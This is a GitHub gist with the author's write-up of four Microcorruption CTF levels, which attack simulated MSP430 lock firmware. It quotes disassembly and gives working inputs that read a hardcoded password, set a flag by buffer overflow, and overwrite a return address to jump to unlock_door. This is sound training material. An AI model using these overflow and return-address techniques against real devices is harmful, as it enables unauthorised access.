Skip to content

Instantly share code, notes, and snippets.

@abtrout
Last active February 17, 2025 21:15
Show Gist options
  • Save abtrout/ac3fe4dea2a4cc9210fa8c882194ad69 to your computer and use it in GitHub Desktop.
Save abtrout/ac3fe4dea2a4cc9210fa8c882194ad69 to your computer and use it in GitHub Desktop.
Microcorruption CTF solutions

Microcorruption

Rough writeup of my Microcorruption CTF solutions.

New Orleans

tl;dr Just read the password from memory.

I noticed that main calls create_password which appears to set the lock's password by moving fixed bytes into the address stored in register r15. This is probably the password.

447e <create_password>
447e:  3f40 0024      mov	#0x2400, r15
4482:  ff40 5400 0000 mov.b	#0x54, 0x0(r15)
4488:  ff40 2700 0100 mov.b	#0x27, 0x1(r15)
448e:  ff40 3c00 0200 mov.b	#0x3c, 0x2(r15)
4494:  ff40 3c00 0300 mov.b	#0x3c, 0x3(r15)
449a:  ff40 4e00 0400 mov.b	#0x4e, 0x4(r15)
44a0:  ff40 4b00 0500 mov.b	#0x4b, 0x5(r15)
44a6:  ff40 5000 0600 mov.b	#0x50, 0x6(r15)
44ac:  cf43 0700      mov.b	#0x0, 0x7(r15)
44b0:  3041           ret

Solution:

> break 44b0
> c
> read r15 8
   2400:   5427 3c3c 4e4b 5000  T'<<NKP.

The lock password is T'<<NKP.

Sydney

tl;dr Read the password from memory again.

According to the manual, this lock version contains a fix for the last problem.

This is Software Revision 02. We have received reports that the prior version of the lock was bypassable without knowing the password. We have fixed this and removed the password from memory.

There's no longer a create_password function, so instead I focused on check_password:

448a <check_password>
448a:  bf90 7375 0000 cmp	#0x7573, 0x0(r15)
4490:  0d20           jnz	$+0x1c
4492:  bf90 2424 0200 cmp	#0x2424, 0x2(r15)
4498:  0920           jnz	$+0x14
449a:  bf90 3231 0400 cmp	#0x3132, 0x4(r15)
44a0:  0520           jne	#0x44ac <check_password+0x22>
44a2:  1e43           mov	#0x1, r14
44a4:  bf90 217c 0600 cmp	#0x7c21, 0x6(r15)
44aa:  0124           jeq	#0x44ae <check_password+0x24>
44ac:  0e43           clr	r14
44ae:  0f4e           mov	r14, r15
44b0:  3041           ret

This makes four 2-byte comparisons against the password we input, which is stored at address in r15. If any of these comparisons are not equal, we jump out and get told the password is wrong. My first thought was to just put these 8 bytes together into the hex input 7573242431327c21, but this did not break the lock.

MSP430 is little-endian, so we just change byte order to get the password: 737524243231217c.

TIL: that MSP430 is little-endian.

Hanoi

tl;dr Overflow the stack to set a flag that the lock checks.

Another Lockitall firmware update! The manual includes this interesting tidbit:

LockIT Pro Hardware Security Module 1 stores the login password, ensuring users can not access the password through other means. The LockIT Pro can send the LockIT Pro HSM-1 a password, and the HSM will return if the password is correct by setting a flag in memory.

Running the program, we also notice that there's a reminder that passwords are between 8 and 16 characters, though this appears to not be checked or enforced at all, which is probably important.

Everything happens in the login function this time:

4520 <login>
4520:  c243 1024      mov.b	#0x0, &0x2410
4524:  3f40 7e44      mov	#0x447e "Enter the password to continue.", r15
4528:  b012 de45      call	#0x45de <puts>
452c:  3f40 9e44      mov	#0x449e "Remember: passwords are between 8 and 16 characters.", r15
4530:  b012 de45      call	#0x45de <puts>
4534:  3e40 1c00      mov	#0x1c, r14
4538:  3f40 0024      mov	#0x2400, r15
453c:  b012 ce45      call	#0x45ce <getsn>
4540:  3f40 0024      mov	#0x2400, r15
4544:  b012 5444      call	#0x4454 <test_password_valid>
4548:  0f93           tst	r15
454a:  0324           jz	$+0x8
454c:  f240 0100 1024 mov.b	#0x1, &0x2410
4552:  3f40 d344      mov	#0x44d3 "Testing if password is valid.", r15
4556:  b012 de45      call	#0x45de <puts>
455a:  f290 eb00 1024 cmp.b	#0xeb, &0x2410
4560:  0720           jne	#0x4570 <login+0x50>
4562:  3f40 f144      mov	#0x44f1 "Access granted.", r15
4566:  b012 de45      call	#0x45de <puts>
456a:  b012 4844      call	#0x4448 <unlock_door>
456e:  3041           ret
4570:  3f40 0145      mov	#0x4501 "That password is not correct.", r15
4574:  b012 de45      call	#0x45de <puts>
4578:  3041           ret

Inspecting the disassembled program, we see that the program flow is:

  • Get the password from user input
  • Test if the password is valid using test_password_valid
  • Unlock if test_password_valid set the expected flag, as described in the manual

The important part is here, where we see that the test_valid_password flag should be EB at address 2410:

4552:  3f40 d344      mov	#0x44d3 "Testing if password is valid.", r15
4556:  b012 de45      call	#0x45de <puts>
455a:  f290 eb00 1024 cmp.b	#0xeb, &0x2410

As it turns out, our password is stored right before the test_valid_password flag. We can overflow the stack and set the flag ourselves.

2400:   7465 7374 696e 6700 0000 0000 0000 0000   testing.........
2410:   0000 0000 0000 0000 0000 0000 0000 0000   ................

Any 17 byte password ending in EB will work: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEB.

Cusco

tl;dr Overflow the stack to change the return address and jump to a location of our choosing

As expected, this Lockitall version fixes our stack overflow from last time.

This is Software Revision 02. We have improved the security of the lock by removing a conditional flag that could accidentally get set by passwords that were too long.

Everything happens in the login function.

4500 <login>
4500:  3150 f0ff      add	#0xfff0, sp
4504:  3f40 7c44      mov	#0x447c "Enter the password to continue.", r15
4508:  b012 a645      call	#0x45a6 <puts>
450c:  3f40 9c44      mov	#0x449c "Remember: passwords are between 8 and 16 characters.", r15
4510:  b012 a645      call	#0x45a6 <puts>
4514:  3e40 3000      mov	#0x30, r14
4518:  0f41           mov	sp, r15
451a:  b012 9645      call	#0x4596 <getsn>
451e:  0f41           mov	sp, r15
4520:  b012 5244      call	#0x4452 <test_password_valid>
4524:  0f93           tst	r15
4526:  0524           jz	#0x4532 <login+0x32>
4528:  b012 4644      call	#0x4446 <unlock_door>
452c:  3f40 d144      mov	#0x44d1 "Access granted.", r15
4530:  023c           jmp	#0x4536 <login+0x36>
4532:  3f40 e144      mov	#0x44e1 "That password is not correct.", r15
4536:  b012 a645      call	#0x45a6 <puts>
453a:  3150 1000      add	#0x10, sp
453e:  3041           ret

We see that the lock unlocks depending on the tst r15 instruction at 4524. I set a few breakpoints and stepped through with many different inputs, but was never able to change the value of register r15.

However, when we return from login at 453e, the stack pointer is just beyond our input.

                                           |--- our input starts here
                                           V
43e0:   5645 0300 ca45 0000 0a00 0000 3a45 4141   VE...E......:EAA
43f0:   4100 0000 0000 0000 0000 0000 0000 3c44   A.............<D
                                           ^
                                           |--- stack pointer is here

Since there's still nothing enforcing that our input is max 16 bytes, we can overwrite the address that login branches to by supplying a specially crafted input. Making login branch to the unlock function (at address 4446) might be nice.

Any 18-byte password ending in 4644 would work, e.g. 414141414141414141414141414141414644.

TIL: how call and ret work, which was important. When we call a new function, the address of the next instruction is written to the stack. This is the address we branch to when the function returns. If we can overwrite this value, we can choose where the function branches on return.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment